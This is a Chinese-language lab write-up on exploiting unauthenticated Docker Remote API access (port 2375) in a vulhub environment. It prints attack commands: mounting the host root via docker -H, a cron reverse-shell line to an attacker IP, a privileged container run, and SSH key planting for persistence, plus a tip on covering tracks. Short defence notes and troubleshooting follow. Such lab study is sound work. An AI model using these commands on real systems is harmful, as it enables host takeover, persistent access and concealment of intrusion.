Docker Remote API 未授权访问
成因
docker swarm是管理docker集群的工具,主从管理默认通过端口2375通信
与docker compose的区别就是docker compose管理的是单台主机上的多个容器,swarm是用来管理多台主机的容器集群服务
当绑定在0.0.0.0上,未进行访问控制管理时会导致未授权访问
环境搭建:
靶机:vulhub中docker未授权环境
攻击者:docker&docker-compose
先访问2375端口看是否有page not found回显,有则说明存在未授权


利用
反弹shell
列出靶机的镜像和容器
docker -H tcp://靶机:2375 images
这里的镜像是开启的环境中的镜像

将宿主机的根目录挂载到镜像id为c059bfaa849c的/mnt目录下
docker -H tcp://靶机:2375 run -it -v /:/mnt 镜像id sh

直接反弹shell&定时任务反弹shell
echo '* * * * * bash -i >& /dev/tcp/ip/8888 0>&1' >> /test/var/spool/cron/root

已经确认防火墙关闭并且端口开放,但是仍然反弹不了
bash -i >& /dev/tcp/ip/8888 0>&1
而通过宿主机直接反弹shell没有问题,再次确认了端口和防火墙没有问题

卡住了。
在h0ld1rs大佬的指点下了解到了linux下的==shell种类==:
使⽤docker搭建的环境进入容器内部时没有bash只能以sh进⼊
sh、csh、tcsh、ash、bash
还有一些其他的shell
csh,Bill Joy大神写的,语法类似于C语言
tcsh,csh的增强版,FreeBSD中的默认Shell
ksh,AIX中的默认Shell
dash,新版本Debian/Ubuntu的默认Shell
简单来说,bash是linux中默认shell,sh是Unix中的标准shell,bash兼容sh(sh编写的shell代码可以直接在bash中使用)
查看linux中可用shell
cat /etc/shells

使用sh反弹shell
未成功
这里回滚了一下服务器开启靶场后没有镜像了,直接使用rce的payload
直接rce的payload
docker -H ip:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
未成功
公私钥提权
攻击者生成一对公私钥
ssh-keygen -t rsa
输入密钥名和密码

写入位于/root/.ssh目录下的公钥文件

使用私钥登录
ssh -i 私钥文件 root@公钥文件所在ip
ps:
这里可以先保存下对方原来的公钥,等利用公私钥登录权限维持后再给对方换回去,以隐匿操作
防御策略
- 禁止外网访问或是设置白名单
- 在内网中也要设置严格的访问规则,使用TLS认证
踩坑记录
- docker中进入的容器有一部分使用的是sh的shell
- 反弹shell先要在vps上开启监听
- 挂载之后也没有找到root/.ssh目录下的公钥文件
简单总结一下反弹shell失败可能得原因
- 禁止出站ip(只允许访问特定ip)
- 禁止出站端口(只允许访问特定端口)
- 禁止出站协议(只允许特定协议,如icmp、dns、http)
- 反弹命令不存在或是当前用户无权调用bash
- 可能不是使用的bash、而是sh或其他